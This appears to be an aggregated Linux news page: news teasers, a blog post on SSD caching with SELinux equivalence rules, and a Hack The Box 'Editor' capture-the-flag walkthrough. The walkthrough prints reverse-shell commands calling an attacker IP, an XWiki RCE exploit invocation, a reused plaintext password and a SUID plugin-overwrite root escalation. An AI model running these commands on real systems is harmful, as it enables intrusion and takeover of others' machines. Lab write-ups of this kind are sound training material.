I love the Christmas season, especially nostalgic callbacks to Christmases past. Up until this year, I'd limited my decorating to just my house, but I came across a throwback animated decoration for Linux desktops I couldn't help but install.
Cybersecurity researchers have uncovered a sophisticated Linux malware campaign exploiting the critical React2Shell vulnerability (CVE-2025-55182) to deploy multiple post-exploitation payloads. A newly identified backdoor dubbed βPeerBlightβ that leverages the BitTorrent DHT network for resilient command-and-control communications. CVE-2025-55182, publicly disclosed on December 3, 2025, is a critical-severity unauthenticated remote code execution vulnerability affecting React Server Components [β¦]
It's easy to fall into the trap of thinking a Chromebook is "simple" and is only suitable for kids at school, not serious work. Yet, ChromeOS has grown into a rather mature operating system, and there are plenty of features that can supercharge your productivity or expand your options hidden under the surface of that user-friendly interface.
The team behind Parrot OS (often shortened to Parrot) has announced the beta release of Parrot 7.0. The update, now in testing, brings several upgrades and improvements to the distribution that emphasizes security, including a switch to KDE Plasma as the default desktop.
Have you ever struggled to install obscure software? You try your distro's software repositories first, falling back to community repositories. Sometimes you fail, and it's not on the Snap Store or Flathub either, so you manually download it from GitHub as a last resort. There is a better way, and I'll show you how.
Firefox 146 is rolling out, bringing a major, long-awaited display improvement for users running Linux with the Wayland compositor. The newest build now natively supports fractional scaling on Linux, which should make the rendering experience much better and snappier.
Chromebooks have come a long, long way since I first used one. It helps that so much of what we do every day happens in a browser, so, in a way, we've met Chromebooks halfway. Either way, it's entirely possible to use a Chromebook as your only computer. The question is, what are you giving up by doing so?
A sophisticated Linux backdoor named GhostPenguin has been discovered by Trend Micro Research, evading detection for over four months after its initial submission to VirusTotal in July 2025. The threat represents a new breed of stealthy malware designed to maintain a low profile while delivering comprehensive remote access and file system manipulation capabilities to threat [β¦]
PhpStorm has stuck around as one of the best PHP development environments, and now JetBrains has released a new major version. PhpStorm 2025.3 is now available with PHP 8.5 support, a new theme, Claude agent integration, and much more.
Have an old mini PC lying around you're mulling over chucking into your "hardware graveyard" drawer or selling on eBay or Facebook Marketplace? Why get rid of it when you can repurpose and breathe new life into it? Here are some roles most mini PCs should excel at.
Visual Studio Code and other lightweight editors might be the most popular choices for Python programming, but JetBrains PyCharm is still great for complex projects and debugging. The latest update is merging the Community Edition and Pro versions, and it brings along a few new features and improvements.
NVMe solid state disk drives have become inexpensive unless you want the very largest sizes. But how do you get the most out of one? There are two basic strategies: you can use the drive as a fast drive for things you use a lot, or you can use it to cache a slower drive.
Each method has advantages and disadvantages. If you have an existing system, moving high-traffic directories over to SSD requires a bind mount or, at least, a symbolic link. If your main filesystem uses RAID, for example, then those files are no longer protected.
Caching sounds good, in theory, but there are at least two issues. You generally have to choose whether your cache βwrites throughβ, which means that writes will be slow because you have to write to the cache and the underlying disk each time, or whether you will βwrite backβ, allowing the cache to flush to disk occasionally. The problem is, if the system crashes or the cache fails between writes, you will lose data.
Compromise
For some time, Iβve adopted a hybrid approach. I have an LVM cache for most of my SSD that hides the terrible performance of my root driveβs RAID array. However, I have some selected high-traffic, low-importance files in specific SSD directories that I either bind-mount or symlink into the main directory tree. In addition, I have as much as I can in tmpfs, a RAM drive, so things like /tmp donβt hit the disks at all.
There are plenty of ways to get SSD caching on Linux, and I wonβt explain any particular one. Iβve used several, but Iβve wound up on the LVM caching because it requires the least odd stuff and seems to work well enough.
This arrangement worked just fine and gives you the best of both worlds. Things like /var/log and /var/spool are super fast and donβt bog down the main disk. Yet the main disk is secure and much faster thanks to the cache setup. Thatβs been going on for a number of years until recently.
The Upgrade Issue
I recently decided to give up using KDE Neon on my main desktop computer and switch to OpenSUSE Tumbleweed, which is a story in itself. The hybrid caching scheme seemed to work, but in reality, it was subtly broken. The reason? SELinux.
Tumbleweed uses SELinux as a second level of access protection. On vanilla Linux, you have a user and a group. Files have permissions for a specific user, a specific group, and everyone else. Permission, in general, means if a given user or group member can read, write, or execute the file.
SELinux adds much more granularity to protection. You can create rules that, for example, allow certain processes to write to a directory but not read from it. This post, though, isnβt about SELinux fundamentals. If you want a detailed deep dive from Red Hat, check out the video below.
The Problem
The problem is that when you put files in SSD and then overlay them, they live in two different places. If you tell SELinux to βrelabelβ files β that is, put them back to their system-defined permissions, there is a chance it will see something like /SSD/var/log/syslog and not realize that this is really the same file as /var/log. Once you get the wrong label on a system file like that, bad, unpredictable things happen.
There is a way to set up an βequivalence ruleβ in SELinux, but thereβs a catch. At first, I had the SSD mounted at /usr/local/FAST. So, for example, I would have /usr/local/FAST/var/log. When you try to equate /usr/local/FAST/var to /usr/var, you run into a problem. There is already a rule that /usr and /usr/local are the same. So you have difficulties getting it to understand that throws a wrench in the works.
There are probably several ways to solve this, but I took the easy way out: I remounted to /FAST. Then it was easy enough to create rules for /var/log to /FAST/var/log, and so on. To create an equivalence, you enter:
semanage fcontext -a -e /var/log /FAST/var/log
The Final Answer
So what did I wind up with? Hereβs my current /etc/fstab:
Note that some of these donβt appear in /etc/fstab because they are symlinks.
A good rule of thumb is that if you ask SELinux to relabel the tree in the βrealβ location, it shouldnβt change anything (once everything is set up). If you see many changes, you probably have a problem:
restorecon -Rv /FAST/var/log
Worth It?
Was it worth it? I can certainly feel the difference in the system when I donβt have this setup, especially without the cache. The noisy drives quiet down nicely when most of the normal working set is wholly enclosed in the cache.
This setup has worked well for many years, and the only really big issue was the introduction of SELinux. Of course, for my purposes, I could probably just disable SELinux. But it does make sense to keep it on if you can manage it.
If you have recently switched on SELinux, it is useful to keep an eye on:
ausearch -m AVC -ts recent
That shows you if SELinux denied any access recently. Another useful command:
systemctl status setroubleshootd.service
Another good systemd βstupid trick.β Often, any mysterious issues will show up in one of those two places. If you are on a single-user desktop, it isnβt a bad idea to retry any strange anomalies with SELinux turned off as a test: setenforce 0. If the problem goes away, it is a sure bet that something is wrong with the SELinux system.
Of course, every situation is different. If you donβt need RAID or a huge amount of storage, maybe just use an SSD as your root system and be done with it. That would certainly be easier. But, in typical Linux fashion, you can make of it whatever you want. We like that.
JetBrains might be best known for its IDEA, PyCharm, and WebStorm integrated development environments, but it also has one for Go language development: GoLand. The latest version can help you hunt down resource leaks, code with multiple AI agents, use Terraform files, and much more.
JetBrains has released IntelliJ IDEA 2025.3, the first version of the new unified IDE for Java development. It's combining the Community Edition and Ultimate builds into one package and adding a few new features on top, including full support for Java 25.
Ubuntu might be considered the face of Linux, but that doesn't mean it's the best distro. In fact, some of Ubuntu's own spin-off flavors offer tools and features that can make them better suited for certain users and use cases. Here are three such Ubuntu flavors that can actually outperform the original.
Are you sitting bored at your Linux machine and looking for a quick gaming session? Tired of playing those online card games that bombard you with ads or push microtransactions? Well, here are five open-source card games that are completely free and deliver a fun gaming experience.
Linux is generally less prone to malware than Windows, and so long as you're careful about the commands you enter, Linux systems tend to age much more gracefully than Windows systems. However, no system is truly immune to malware, and blindly following instructions online can easily break something on your system if you're not cautious. That is where immutable distros can save the day.
Today, downloading a free Unix-like system for a PC or a single-board computer like a Raspberry Pi is routine. In the late '80s and early '90s, as computer hardware improved, these systems brought Unix power down from minicomputers and workstations to the personal level before the arrival of Linux.
In this write-up, we will explore the βEditorβ machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the βEditorβ machine from Hack The Box by achieving the following objectives:
User Flag:
Initial enumeration identifies an XWiki service on port 8080. The footer reveals the exact version, which is vulnerable to an unauthenticated Solr RCE (CVE-2025-24893). Running a public proof of concept provides a reverse shell as the xwiki service account. Exploring the installation directory reveals the hibernate.cfg.xml file, where plaintext database credentials are stored. These credentials are valid for the local user oliver as well. Using them for SSH access grants a stable shell as oliver, which makes it possible to read the user flag.
Root Flag:
Several plugin files are owned by root, set as SUID, and still group-writable. Since oliver belongs to the netdata group, these files can be modified directly. Additionally, this access allows a small SUID helper to be compiled and uploaded, which is then used to overwrite the ndsudo plugin. Afterwards, Netdata executes this plugin with root privileges during normal operation, and therefore, the replacement immediately forces the service to run the injected payload.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Port 22 (SSH): OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 β standard secure shell service for remote access.
Port 80 (HTTP): nginx 1.18.0 (Ubuntu) β web server acting as reverse proxy, redirects to http://editor.htb/.
Port 8080 (HTTP): Jetty 10.0.20 running XWiki β main application with WebDAV enabled, missing HttpOnly on JSESSIONID, and robots.txt exposing edit/save/delete paths.
What is XWiki?
XWiki is a free, open-source enterprise wiki platform written in Java. Think of it as a super-powered Wikipedia-style software that companies or teams install on their own servers to create internal knowledge bases, documentation sites, collaborative portals, etc.
Web Enumeration:
Web Application Exploration:
Perform web enumeration to discover potentially exploitable directories and files.
Landing on http://editor.htb, weβre greeted by the homepage of βSimplistCode Proβ β a sleek, modern web-based code editor that looks almost identical to VS Code, complete with Ace Editor, file tree, and integrated terminal.
Accessing http://10.10.11.180:8080/xwiki/bin/view/Main/ reveals the built-in XWiki documentation page for SimplistCode Pro β confirming the actual editor runs on an XWiki instance at port 8080.
After discovering that the web service on port 8080 is an XWiki instance and confirming the exact version 15.10.8 from the footer banner, we immediately searched for public exploits.
CVE-2025-24893: Unauthenticated Remote Code Execution in XWiki Platform
CVE-2025-24893 is a critical unauthenticated remote code execution (RCE) vulnerability in the XWiki Platform, an open-source enterprise wiki software. It allows any guest user (no login required) to execute arbitrary Groovy code on the server by sending a specially crafted request to the SolrSearch macro. This flaw stems from improper sandboxing and sanitisation of Groovy expressions in asynchronous macro rendering, enabling attackers to inject and execute malicious code via search parameters
This version is vulnerable to CVE-2025-24893 β an unauthenticated Remote Code Execution in the Solr search component via malicious Groovy templates.
Testing the exploit syntax first β the script help shows mandatory flags -t (target URL) and -c (command).
Setting up our listener with nc -lvnp 9007 to catch the reverse shell.
We launch the final exploit python3 CVE-2025-24893.py -t http://editor.htb:8080/ -c βbash -c βbash -i >/dev/tcp/10.10.14.189/9007 0>&1β³β -e /bin/bash
Unfortunately, the CVE-2025-24893 exploit failed to pop a shell β no connection back to our listenerβtime to pivot and hunt for another path.
The exploit worked perfectly! Final command that popped the shell: python3 CVE-2025-24893.py -t http://editor.htb:8080/ -c βbusybox nc 10.10.14.189 9007 -e /bin/bashβ The script injected Groovy code via the vulnerable Solr search endpoint, executed busybox nc β¦ -e /bin/bash, and gave us our reverse shell as the xwiki system user.
Achieving Initial Foothold as xwiki User on Editor machine via CVE-2025-24893
Back on our attacker box, we fire up nc -lvnp 9007. Moments later, the listener catches a connection from 10.10.11.80:59508. Running id confirms we successfully landed as xwiki (uid=997) β the exact user running the XWiki Jetty instance. Initial foothold achieved!
The shell is raw and non-interactive. We immediately stabilize it: which python3 β /usr/bin/python3 python3 -c βimport pty;pty.spawn(β/bin/bashβ)β Prompt changes to xwiki@editor:/usr/lib/xwiki-jetty$ β full TTY achieved, background color and everything.
Inside the limited shell as xwiki@editor, we see another user home directory called oliver. Attempting cd oliver instantly fails with Permission denied β no direct access yet, but we now know the real target user is oliver.
Quick enumeration with find / -name βxwikiβ 2>/dev/null reveals all XWiki-related paths (config, data store, logs, webapps, etc.). Confirms weβre deep inside the actual XWiki installation running under Jetty.
ls in the same directory reveals the classic XWiki/Jetty config files, including the juicy hibernate.cfg.xml β this file almost always contains plaintext database credentials.
hibernate.cfg.xml credential reuse on editor machine
Full cat hibernate.cfg.xml confirms this is the real DB password used by the application. Classic misconfiguration: developers reuse the same password for the DB user and the system user oliver.
cat hibernate.cfg.xml | grep password instantly dumps multiple entries, and the first one is: theEd1t0rTeam99 Bingo β plaintext password for the XWiki database (and very often reused elsewhere).
While poking around /usr/lib/xwiki/WEB-INF/, we try su oliver and blindly guess the password theEd1t0rTeam99 (common pattern on HTB). It fails with an Authentication failure β wrong password, but we now know the exact target user is Oliver.
Attempting to SSH directly as xwiki@editor.htb results in βPermission denied, please try again.β (twice). Attackers cannot log in via password-based SSH because the xwiki system account lacks a valid password (a common setup for service accounts). We can only interact with the XWiki user via the reverse shell we already have from the CVE exploit. No direct SSH access here.
SSH as oliver
From our attacker box we can now SSH directly as oliver (optional, cleaner shell): ssh oliver@editor.htb β password theEd1t0rTeam99 β clean login
User flag successfully grabbed! Weβre officially the oliver user and one step closer to root.
Escalate to Root Privileges Access on the Editor machine
Privilege Escalation:
Sorry, user oliver may not run sudo on editor. No passwordless sudo, no obvious entry in /etc/sudoers.
Only oliverβs normal processes visible: systemd user instance and our own bash/ps. No weird cronjobs, no suspicious parent processes. Confirms we need a deeper, non-obvious privesc vector.
After stabilising our shell as oliver, we immediately start hunting for privilege-escalation vectors. First, we run find / -perm 4000 2>/dev/null to enumerate SUID binaries β the output returns nothing interesting, instantly ruling out the classic GTFOBins path. To be thorough, we double-check find / -user root -perm 4000 2>/dev/null in case any root-owned SUIDs were missed, but the result is the same: no promising binaries. Straight-up SUID exploitation is off the table, so we pivot to deeper enumeration with LinPEAS and other techniques. Root will require a less obvious vector.
Linpeas Enumeration
Downloading LinPEAS into /dev/shm (tempfs, stays hidden and writable).
As oliver, we fire up LinPEAS in /dev/shm: ./linpeas.sh. The legendary green ASCII art confirms itβs running and scanning.
LinPEAS lights up the intended privesc path in bright red: a whole directory of Netdata plugins under /opt/netdata/usr/libexec/netdata/plugins.d/ are owned by root, belong to the netdata group, have the SUID bit set, and are writable by the group. Since groups oliver shows weβre in the netdata group, we can overwrite any of these binaries with our own malicious payload and instantly get a root shell the next time Netdata executes the plugin (which happens automatically every few seconds). Classic Netdata SUID misconfiguration, game over for root.
The key section βFiles with Interesting Permissionsβ + βSUID β Check easy privescβ shows multiple Netdata plugins (like go.d.plugin, ndsudo, network-viewer.plugin, etc.) owned by root but executable/writable by the netdata group or others. Classic Netdata misconfiguration on HTB boxes.
Compiled locally with gcc dark.c -o nvme, this will be uploaded and used to overwrite one of the writable Netdata SUID plugins.
why Nvme?
We compile our SUID shell as nvme to specifically target the Netdata plugin ndsudo at /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo. This file is root-owned, SUID, belongs to the netdata group, and is group-writable. Since oliver is in the netdata group, we can overwrite it directly. Netdata periodically runs ndsudo as root, so replacing it with our payload triggers an instant root shell. The name nvme is short, harmless-looking, and doesnβt clash with real system binaries, making it the perfect stealthy replacement. Upload β overwrite ndsudo β wait a few seconds β root. Simple and deadly effective
curl our compiled nvme from the attacker machine β download complete
chmod +x nvme β make it executable. Temporarily prepend /dev/shm to PATH so we can test it locally
When testing our malicious nvme binary with the existing ndsudo plugin (/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list), it fails with βnvme : not available in PATH.β This is expected because we havenβt overwritten ndsudo yetβitβs still the original binary, and our nvme isnβt in the PATH for this test command. Itβs a quick sanity check to confirm the setup before the real overwrite. Next, weβll copy nvme directly over ndsudo to hijack it.
An ls in /dev/shm now shows nvme is missing β we already moved or deleted it during testing. No problem: we just re-download it with curl nvme, chmod +x nvme, and weβre back in business, ready for the final overwrite of ndsudo. Payload restored, stealth intact.
We re-download our malicious nvme, chmod +x it, prepend /dev/shm to PATH, and run the trigger command /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-listWe re-download our malicious nvme, chmod +x it, prepend /dev/shm to PATH, and run the trigger command /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
Root flag captured! With the Netdata plugin overwritten and triggered, weβve spawned our SUID shell as root. Machine fully owned.